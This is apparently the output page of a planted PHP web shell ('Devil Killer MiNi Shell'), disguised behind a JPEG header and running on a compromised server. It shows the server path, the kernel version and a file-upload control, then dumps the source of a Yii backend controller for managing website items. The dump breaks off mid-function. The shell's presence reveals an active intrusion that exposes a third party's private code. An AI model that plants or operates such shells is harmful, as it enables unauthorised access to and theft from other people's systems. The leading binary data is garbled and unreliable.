JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/WebsitesitemsController.php

<?php

namespace backend\controllers;

use Yii;
use common\models\Websites;
use common\models\WebsitesItems;
use common\models\WebsitesItemsTranslations;
use common\models\WebsitesItemsPhotosTranslations;
use common\models\WebsitesPagesCategories;
use common\models\WebsitesPagesHasWebsitesItems;
use common\models\WebsitesItemsHasWebsitesPhotos;
use common\models\WebsitesItemsHasWebsitesAttachments;
use common\models\WebsitesPhotosTranslations;
use common\models\WebsitesPhotos;
use common\models\WebsitesAttachments;
use common\models\WebsitesAttachmentsTranslations;
use common\models\types\WebsiteItemType;
use backend\models\WebsitesItemsSearch;
use yii\data\ActiveDataProvider;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;

/**
 * WebsitesitemsController implements the CRUD actions for WebsitesItems model.
 */
class WebsitesitemsController extends Controller
{
    use \backend\components\traits\ControllerFunctions;    
    use \backend\components\traits\WebsitesHelpersFunctions; 

    /**
     * @inheritdoc
     */
    public function actions()
    {
        return [
            'create-relation-with-photo' => [
                'class' => '\backend\controllers\actions\CreateRelationWithChildAction',
                'modelParent' => \common\models\WebsitesItems::findOne(Yii::$app->request->get('id')),
                'modelChild' => \common\models\WebsitesPhotos::findOne(Yii::$app->request->post('id_photo')),
            ],
            'delete-relation-with-photo' => [
                'class' => '\backend\controllers\actions\DeleteRelationWithChildAction',
                'modelParent' => \common\models\WebsitesItems::findOne(Yii::$app->request->get('id')),
                'modelChild' => \common\models\WebsitesPhotos::findOne(Yii::$app->request->get('id_photo')),
                'redirectUrlParams' => ['websitesitems/update', 'id' => Yii::$app->request->get('id')]
            ],
            'create-relation-with-attachment' => [
                'class' => '\backend\controllers\actions\CreateRelationWithChildAction',
                'modelParent' => \common\models\WebsitesItems::findOne(Yii::$app->request->get('id')),
                'modelChild' => \common\models\WebsitesAttachments::findOne(Yii::$app->request->post('id_attachment')),
            ],
            'delete-relation-with-attachment' => [
                'class' => '\backend\controllers\actions\DeleteRelationWithChildAction',
                'modelParent' => \common\models\WebsitesItems::findOne(Yii::$app->request->get('id')),
                'modelChild' => \common\models\WebsitesAttachments::findOne(Yii::$app->request->get('id_attachment')),
                'redirectUrlParams' => ['websitesitems/update', 'id' => Yii::$app->request->get('id')]
            ],
        ];
    }
    
    /**
     * Lists all WebsitesItems models.
     * @param integer $id
     * @return mixed
     */
    public function actionIndex($id)
    {
        $modelWebsite = $this->findModelWebsite($id);
     
        if(!Yii::$app->user->can('updateWebsites', ['model' => $modelWebsite])) {        
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if(!empty(Yii::$app->request->get('id_page'))) {
            $modelParent = $modelWebsite->getPages()->where(['id_page' => Yii::$app->request->get('id_page')])->one();
            $parentPKColumnName = 'id_page';
        } elseif(!empty(Yii::$app->request->get('id_widget'))) {
            $modelParent = $modelWebsite->getWidgets()->where(['id_widget' => Yii::$app->request->get('id_widget')])->one();
            $parentPKColumnName = 'id_widget';
        } 
        
        $idMainLanguage = $modelWebsite->getMainLanguage();
        
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['WebsitesItemsSearch']['id_website'] = $modelWebsite->id_website; 
        if(!empty($modelParent)) {
            $queryParams['WebsitesItemsSearch'][lcfirst(str_replace(' ', '', ucwords(str_replace('_', ' ', $parentPKColumnName))))] = $modelParent->$parentPKColumnName; 
            
            if($modelParent instanceof \common\models\WebsitesPages) {
                $itemTypeConstant = \common\models\types\WebsiteItemType::getItemTypeConstantForModule($modelParent->id_module);
            } elseif($modelParent instanceof \common\models\WebsitesWidgets) {
                $itemTypeConstant = \common\models\types\WebsiteItemType::getItemTypeConstantForWidgetType($modelParent->widget_type);
            }

            if(empty($itemTypeConstant || empty(constant('\common\models\types\WebsiteItemType::'.$itemTypeConstant)))) {
                throw new NotFoundHttpException(Yii::t('backend', 'The requested page does not exist.'));
            }
            
            $queryParams['WebsitesItemsSearch']['item_type'] = constant('\common\models\types\WebsiteItemType::'.$itemTypeConstant);
        }
        
        $searchModel = new WebsitesItemsSearch();
        $dataProvider = $searchModel->search($queryParams, $idMainLanguage);

        if(!empty($modelParent) && !empty($dataProvider->keys)) {
            $numberOfRelationsByItems = WebsitesItems::getNumbersOfRelations($dataProvider->keys, $modelParent);
        } else {
            $numberOfRelationsByItems = [];
        }
        
        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'modelParent' => $modelParent,
            'parentPKColumnName' => $parentPKColumnName,
            'modelWebsite' => $modelWebsite,
            'numberOfRelationsByItems' => $numberOfRelationsByItems
        ]);
    }

    /**
     * Displays a single WebsitesItems model.
     * @param integer $id
     * @return mixed
     * @throws NotFoundHttpException if the model cannot be found
     */
    public function actionView($id)
    {
        $model = $this->findModel($id);
                
        if(!Yii::$app->user->can('viewWebsites', ['model' => $model->website])) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));        
        } 
        
        $modelParent = $model->getModelParentIfExists([
            'id_page' => Yii::$app->request->get('id_page'), 
            'id_widget' => Yii::$app->request->get('id_widget')
        ]);
        $parentPKColumnName = null;
        if(!empty($modelParent)) {
            $parentPKColumnName = $modelParent->getTableSchema()->primaryKey[0];
        } 
        
        $idMainLanguage = $model->website->getMainLanguage();
        $websiteLanguages = $model->website->getSelectedLanguagesList();
        
        $modelsTranslations = $model->getTranslations()->with('language')->indexBy('id_language')->all();
        
        $modelsRelationsWithPhotos = $model->getRelationsWithPhotos()
                ->with([
                    'photo.translations' => function($q) {
                        $q->indexBy('id_language');
                    }
                ])->orderBy('photo_order')
                ->indexBy('id_photo')
                ->all();
                
        $modelsRelationsWithAttachments = $model->getRelationsWithAttachments()
                ->with([
                    'attachment.translations' => function($q) {
                        $q->indexBy('id_language');
                    }
                ])->orderBy('attachment_order')
                ->indexBy('id_attachment')
                ->all();
           
        $categories = [];
        if($modelParent instanceof \common\models\WebsitesPages) {          
            $modelsSelectedCategories = $model->getCategories()
                    ->with([
                        'translations' => function($q) use ($idMainLanguage) { 
                            $q->where(['id_language' => $idMainLanguage]);                         
                        }
                    ])->where(['id_page' => $modelParent->id_page])
                    ->orderBy('left')
                    ->all();
            if(!empty($modelsSelectedCategories)) {
                foreach($modelsSelectedCategories as $modelSelectedCategory) {
                    $categories[] = implode(" >> ", array_map(function($item) { return $item->translations[0]->name; }, WebsitesPagesCategories::getCategoryPath($modelSelectedCategory)));
                }
            }
        }
        
        return $this->render('view', [
            'model' => $model,
            'idMainLanguage' => $idMainLanguage, 
            'websiteLanguages' => $websiteLanguages,             
            'modelsTranslations' => $modelsTranslations,
            'modelsRelationsWithPhotos' => $modelsRelationsWithPhotos,
            'modelsRelationsWithAttachments' => $modelsRelationsWithAttachments,
            'modelWebsite' => $model->website,
            'modelParent' => $modelParent,
            'parentPKColumnName' => $parentPKColumnName,
            'categories' => $categories
        ]);
    }

    /**
     * Creates a new WebsitesItems model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * 
     * @param integer $id
     * @return mixed
     */
    public function actionCreate($id)
    {
        $modelWebsite = $this->findModelWebsite($id);
        
        if(!Yii::$app->user->can('updateWebsites', ['model' => $modelWebsite])) {        
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }        
        
        if(!empty(Yii::$app->request->get('id_page'))) {
            $modelParent = Yii::$app->request->get('id_page') ? $modelWebsite->getPages()->where(['id_page' => Yii::$app->request->get('id_page')])->one() : null;
            $parentPKColumnName = 'id_page';
        } elseif(!empty(Yii::$app->request->get('id_widget'))) {
            $modelParent = Yii::$app->request->get('id_widget') ? $modelWebsite->getWidgets()->where(['id_widget' => Yii::$app->request->get('id_widget')])->one() : null;
            $parentPKColumnName = 'id_widget';
        }
        
        $itemType = Yii::$app->request->get('item_type');
        if(empty($itemType) || empty(constant('\common\models\types\WebsiteItemType::'.$itemType))) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(!empty($modelParent) ? ['index', 'id' => $modelWebsite->id_website, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['index', 'id' => $modelWebsite->id_website]);
        }
        
        $idMainLanguage = $modelWebsite->getMainLanguage();
        $websiteLanguages = $modelWebsite->getSelectedLanguagesList();
        
        $itemTypeValue = constant('\common\models\types\WebsiteItemType::'.$itemType);
        $scenarioPrefix = WebsitesItems::getScenarioPrefixForType($itemTypeValue);
        
        $model = new \backend\models\WebsitesItems(['scenario' => $scenarioPrefix.'Create', 'id_website' => $modelWebsite->id_website, 'idPage' => $modelParent instanceof \common\models\WebsitesPages ? $modelParent->id_page : null]);
        $model->datetime_start = date('Y-m-d H:i');
        $model->item_type = $itemTypeValue;
        
        $modelsTranslations = [];
        foreach($websiteLanguages as $idLanguage => $languageName) {
            $modelsTranslations[$idLanguage] = new WebsitesItemsTranslations(['scenario' => $scenarioPrefix.($idLanguage === $idMainLanguage ? 'Create' : 'CreateOptionally'), 'id_language' => $idLanguage]); 
        }        
        
        $categoriesTree = json_encode([]);        
        $modelRelationWithParent = null;
        if(!empty($modelParent)) {
            $relationClasName = get_class($modelParent).'HasWebsitesItems';
            $modelRelationWithParent = new $relationClasName(['scenario' => 'create', $parentPKColumnName => $modelParent->$parentPKColumnName]);
            if($modelParent instanceof \common\models\WebsitesPages) {
                $categoriesTree = WebsitesPagesCategories::getJSONCategoryTree($modelParent->id_page, $idMainLanguage, []); 
            } 
        }
        
        $outputParams = [
            'model' => $model,
            'modelsTranslations' => $modelsTranslations, 
            'modelRelation' => $modelRelationWithParent, 
            'modelWebsite' => $modelWebsite,
            'modelParent' => $modelParent,
            'parentPKColumnName' => $parentPKColumnName,
            'idMainLanguage' => $idMainLanguage,
            'websiteLanguages' => $websiteLanguages,
            'categoriesTree' => $categoriesTree,
            'scenarioPrefix' => $scenarioPrefix
        ];

        if (
            Yii::$app->request->isAjax && $model->load(Yii::$app->request->post()) && \yii\base\Model::loadMultiple($modelsTranslations, Yii::$app->request->post())
            && (empty($modelRelationWithParent) || $modelRelationWithParent->load(Yii::$app->request->post()))
        ) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            $errorMessages = [];
            $errorMessages = array_merge($errorMessages, \yii\bootstrap\ActiveForm::validate($model, ['id_website', 'id_country', 'id_region', 'datetime_start', 'datetime_end', 'listCategories']));
            $errorMessages = array_merge($errorMessages, \yii\bootstrap\ActiveForm::validateMultiple($modelsTranslations, ['id_language']));
            if(!empty($modelRelationWithParent)) {
                $errorMessages = array_merge($errorMessages, \yii\bootstrap\ActiveForm::validate($modelRelationWithParent, [$parentPKColumnName]));
            }
            return $errorMessages;
        }
        
        if(Yii::$app->request->getIsPost()) {    
            if(
                !$model->load(Yii::$app->request->post()) || !\yii\base\Model::loadMultiple($modelsTranslations, Yii::$app->request->post())
                || (!empty($modelRelationWithParent) && !$modelRelationWithParent->load(Yii::$app->request->post()))
            ) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create', $outputParams);
            }
            
            $model->id_website = $modelWebsite->id_website;
            $model->item_type = $itemTypeValue;
            
            $model->loadImageFile();
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('create', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $model->save(false);
            $flag = $flag && $model->saveCategories();
            
            if($flag && !empty($modelsTranslations)) {
                $flag = $this->validateAndSaveTranslations($modelsTranslations, $model->id_item, 'id_item');
                if(is_array($flag)) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', $flag);
                    return $this->conditionalRender('update', $outputParams);
                }
            }
            
            if($flag && !empty($modelRelationWithParent)) {
                $flag = $this->saveRelation($model, $modelRelationWithParent, $modelParent);
            }
            
            if($flag) {
                $newImagePath = $model->saveImageFile();
                if($newImagePath === false) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                    return $this->render('create', $outputParams);
                } 
                $transaction->commit(); 
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(!empty($modelParent) ? ['update', 'id' => $model->id_item, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['update', 'id' => $model->id_item]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('create', $outputParams);
    }

    /**
     * Updates an existing WebsitesItems model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     * @throws NotFoundHttpException if the model cannot be found
     */
    public function actionUpdate($id)
    {        
        $model = \backend\models\WebsitesItems::findOne($id);
        if($model === null) {
            throw new NotFoundHttpException(Yii::t('backend', 'The requested page does not exist.'));
        }
        
        if(!Yii::$app->user->can('updateWebsites', ['model' => $model->website])) {        
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        $modelParent = $model->getModelParentIfExists([
            'id_page' => Yii::$app->request->get('id_page'), 
            'id_widget' => Yii::$app->request->get('id_widget')
        ]);
        $parentPKColumnName = null;
        if(!empty($modelParent)) {
            $parentPKColumnName = $modelParent->getTableSchema()->primaryKey[0];
        }        
        
        $idMainLanguage = $model->website->getMainLanguage();
        $websiteLanguages = $model->website->getSelectedLanguagesList();
        
        $scenarioPrefix = $model->getScenarioPrefix();
        $model->setScenario($scenarioPrefix.'Update');
        
        $modelsTranslations = $model->getTranslations()->indexBy('id_language')->all();
        foreach($websiteLanguages as $idLanguage => $languageName) {
            if(isset($modelsTranslations[$idLanguage])) {
                $modelsTranslations[$idLanguage]->setScenario($scenarioPrefix.($idLanguage === $idMainLanguage ? 'Update' : 'UpdateOptionally'));
            } else {
                $modelsTranslations[$idLanguage] = new WebsitesItemsTranslations(['scenario' => $scenarioPrefix.($idLanguage === $idMainLanguage ? 'Create' : 'CreateOptionally')]);
                $modelsTranslations[$idLanguage]->id_language = $idLanguage;
                $modelsTranslations[$idLanguage]->id_item = $model->id_item;
            }
        }
        
        $modelsRelationsWithPhotos = $model->getRelationsWithPhotos()
                ->with([
                    'photo',
                    'photo.translations' => function($q) {
                        $q->indexBy('id_language');
                    }
                ])->orderBy('photo_order')
                ->indexBy('id_photo')
                ->all();
        $numberOfRelationsWithPhotos = [];
        if(!empty($modelsRelationsWithPhotos)) {
            $numberOfRelationsWithPhotos = \common\models\WebsitesPhotos::getNumbersOfRelations(array_keys($modelsRelationsWithPhotos), $model);
        }

        $attachmentsQuery = $model->getAttachments()
                ->join('INNER JOIN', 'websites_items_has_websites_attachments', 'websites_items_has_websites_attachments.id_attachment = websites_attachments.id_attachment AND websites_items_has_websites_attachments.id_item = '.(int)$model->id_item)
                ->with([
                    'translations' => function($q) {
                        $q->indexBy('id_language');
                    }
                ])->orderBy('websites_items_has_websites_attachments.attachment_order')
                ->indexBy('id_attachment');
        $dataProviderAttachments = new \yii\data\ActiveDataProvider([
            'query' => $attachmentsQuery,
            'pagination' => false,
            'sort' => false
        ]);
                
        $numberOfRelationsWithAttachments = [];
        if(!empty($dataProviderAttachments->keys)) {
            $numberOfRelationsWithAttachments = \common\models\WebsitesAttachments::getNumbersOfRelations($dataProviderAttachments->keys, $model);
        }
        
        $categoriesTree = json_encode([]);
        $modelRelationWithParent = null;
        if(!empty($modelParent)) {
            if($modelParent instanceof \common\models\WebsitesPages) {
                $checkedCategories = $model->getRelationsWithCategories()
                        ->select(['id_category'])
                        ->where([
                            'id_item' => $model->id_item,
                            'id_category' => $modelParent->getCategories()->select(['id_category'])
                        ])
                        ->column();
                $categoriesTree = WebsitesPagesCategories::getJSONCategoryTree($modelParent->id_page, $idMainLanguage, $checkedCategories, true); 
            }
            
            switch(get_class($modelParent)) {
                case 'common\models\WebsitesPages':
                    $modelRelationWithParent = $model->getRelationsWithPages()->where([$parentPKColumnName => $modelParent->$parentPKColumnName])->one();
                    $model->idPage = $modelParent->$parentPKColumnName;
                    break;
                case 'common\models\WebsitesWidgets':
                    $modelRelationWithParent = $model->getRelationsWithWidgets()->where([$parentPKColumnName => $modelParent->$parentPKColumnName])->one();
                    break;
            }
            if(!empty($modelRelationWithParent)) {
                $modelRelationWithParent->setScenario('update');
            }
        }
        
        $outputParams = [
            'model' => $model,
            'modelsTranslations' => $modelsTranslations,
            'modelsRelationsWithPhotos' => $modelsRelationsWithPhotos,
            'dataProviderAttachments' => $dataProviderAttachments,
            'modelRelation' => $modelRelationWithParent, 
            'modelWebsite' => $model->website,
            'modelParent' => $modelParent,
            'parentPKColumnName' => $parentPKColumnName,
            'idMainLanguage' => $idMainLanguage,
            'websiteLanguages' => $websiteLanguages,
            'categoriesTree' => $categoriesTree,
            'scenarioPrefix' => $scenarioPrefix,
            'numberOfRelationsWithPhotos' => $numberOfRelationsWithPhotos,
            'numberOfRelationsWithAttachments' => $numberOfRelationsWithAttachments
        ];

        if (
            Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post()) && \yii\base\Model::loadMultiple($modelsTranslations, Yii::$app->request->post())
            && (empty($modelRelationWithParent) || $modelRelationWithParent->load(Yii::$app->request->post()))
        ) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            $errorMessages = [];
            $errorMessages = array_merge($errorMessages, \yii\bootstrap\ActiveForm::validate($model, ['id_website', 'id_country', 'id_region', 'datetime_start', 'datetime_end', 'listCategories']));
            $errorMessages = array_merge($errorMessages, \yii\bootstrap\ActiveForm::validateMultiple($modelsTranslations, ['id_language']));
            if(!empty($modelRelationWithParent)) {
                $errorMessages = array_merge($errorMessages, \yii\bootstrap\ActiveForm::validate($modelRelationWithParent, [$parentPKColumnName, 'id_item']));
            }
            return $errorMessages;
        }
        
        if(Yii::$app->request->getIsPost()) { 
            $oldOrder = !empty($modelRelationWithParent) ? intval($modelRelationWithParent->getOldAttribute('item_order')) : null; 
            
            if(
                !$model->load(Yii::$app->request->post()) || !\yii\base\Model::loadMultiple($modelsTranslations, Yii::$app->request->post())
                || (!empty($modelRelationWithParent) && !$modelRelationWithParent->load(Yii::$app->request->post()))
            ) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create', $outputParams);
            }
            
            $oldImagePath = $model->loadImageFile();
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('update', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $model->save(false);
            $flag = $flag && $model->saveCategories();
            
            if($flag && !empty($modelsTranslations)) {
                $flag = $this->validateAndSaveTranslations($modelsTranslations, $model->id_item, 'id_item');
                if(is_array($flag)) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', $flag);
                    return $this->conditionalRender('update', $outputParams);
                }
            }
            
            if($flag && !empty($modelRelationWithParent)) {
                $flag = $this->saveRelation($model, $modelRelationWithParent, $modelParent, $oldOrder);
            }
            
            if ($flag) {
                $newImagePath = $model->saveImageFile();
                if($newImagePath === false) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                    return $this->conditionalRender('update', $outputParams);
                }  
                if(!empty($oldImagePath)) {
                    WebsitesItems::deleteImage($oldImagePath);
                }
                $transaction->commit(); 
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(!empty($modelParent) ? ['update', 'id' => $model->id_item, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['update', 'id' => $model->id_item]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('update', $outputParams);
    }

    /**
     * Deletes an existing WebsitesItems model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     * @throws NotFoundHttpException if the model cannot be found
     */
    public function actionDelete($id)
    {
        $model = $this->findModel($id);
        if(!Yii::$app->user->can('updateWebsites', ['model' => $model->website])) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));       
        }
        
        $modelWebsitePage = Yii::$app->request->get('id_page') ? $model->getModelPageIfExists(Yii::$app->request->get('id_page')) : null;
        $modelWebsiteWidget = Yii::$app->request->get('id_widget') ? $model->getModelWidgetIfExists(Yii::$app->request->get('id_widget')) : null;
        
        $orForce = intval(Yii::$app->request->get('force', 0));        
        if(!$orForce) {
            $modelsPages = !empty($modelWebsitePage) ? $model->getPages()->where(['!=', 'id_page', $modelWebsitePage->id_page])->all() : $model->pages;
            $modelsWidgets = !empty($modelWebsiteWidget) ? $model->getWidgets()->where(['!=', 'id_widget', $modelWebsiteWidget->id_widget])->all() : $model->widgets;
            
            if(!empty($modelsPages) || !empty($modelsWidgets)) {    
                $idMainLanguage = $model->website->getMainLanguage();
                $modelTranslation = $model->getTranslations()->where(['id_language' => $idMainLanguage])->one();
                
                return $this->render('delete', [
                    'model' => $model,
                    'modelTranslation' => $modelTranslation,
                    'modelsPages' => $modelsPages,
                    'modelsWidgets' => $modelsWidgets,
                    'modelWebsitePage' => $modelWebsitePage,
                    'modelWebsiteWidget' => $modelWebsiteWidget,
                    'idMainLanguage' => $idMainLanguage
                ]);
            }
        }
        
        $idWebsite = $model->id_website;
        
        $transaction = Yii::$app->db->beginTransaction();
        
        if($model->delete() !== false) { 
            $transaction->commit();
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.')); 
        } else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));   
        }

        return $this->redirect(['index', 'id' => $idWebsite, 'id_page' => !empty($modelWebsitePage) ? $modelWebsitePage->id_page : null, 'id_widget' => !empty($modelWebsiteWidget) ? $modelWebsiteWidget->id_widget : null]);
    }    
    
    /**
     * Lists all WebsitesItems models.
     * @param integer $id
     * @return mixed
     */
    public function actionSelectionList($id)
    {
        $modelWebsite = $this->findModelWebsite($id);
     
        if(!Yii::$app->user->can('updateWebsites', ['model' => $modelWebsite])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idMainLanguage = $modelWebsite->getMainLanguage();
        
        $modelWebsitePage = Yii::$app->request->get('id_page') ? $modelWebsite->getPages()->where(['id_page' => Yii::$app->request->get('id_page')])->one() : null;
        $modelWebsiteWidget = Yii::$app->request->get('id_widget') ? $modelWebsite->getWidgets()->where(['id_widget' => Yii::$app->request->get('id_widget')])->one() : null;
        
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['WebsitesItemsSearch']['id_website'] = $modelWebsite->id_website; 
        if(!empty($modelWebsitePage)) {
            $queryParams['WebsitesItemsSearch']['idPageExclude'] = $modelWebsitePage->id_page; 
            $itemTypeConstant = \common\models\types\WebsiteItemType::getItemTypeConstantForModule($modelWebsitePage->id_module);
        } elseif(!empty($modelWebsiteWidget)) {
            $queryParams['WebsitesItemsSearch']['idWidgetExclude'] = $modelWebsiteWidget->id_widget; 
            $itemTypeConstant = \common\models\types\WebsiteItemType::getItemTypeConstantForWidgetType($modelWebsiteWidget->widget_type);
        }
        
        if((!empty($modelWebsitePage) || !empty($modelWebsiteWidget)) && (empty($itemTypeConstant) || empty(constant('\common\models\types\WebsiteItemType::'.$itemTypeConstant)))) {
            throw new NotFoundHttpException(Yii::t('backend', 'The requested page does not exist.'));
        }
        
        $queryParams['WebsitesItemsSearch']['item_type'] = constant('\common\models\types\WebsiteItemType::'.$itemTypeConstant);
        
        $searchModel = new WebsitesItemsSearch();
        $dataProvider = $searchModel->search($queryParams, $idMainLanguage);

        return $this->renderAjax('selection_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
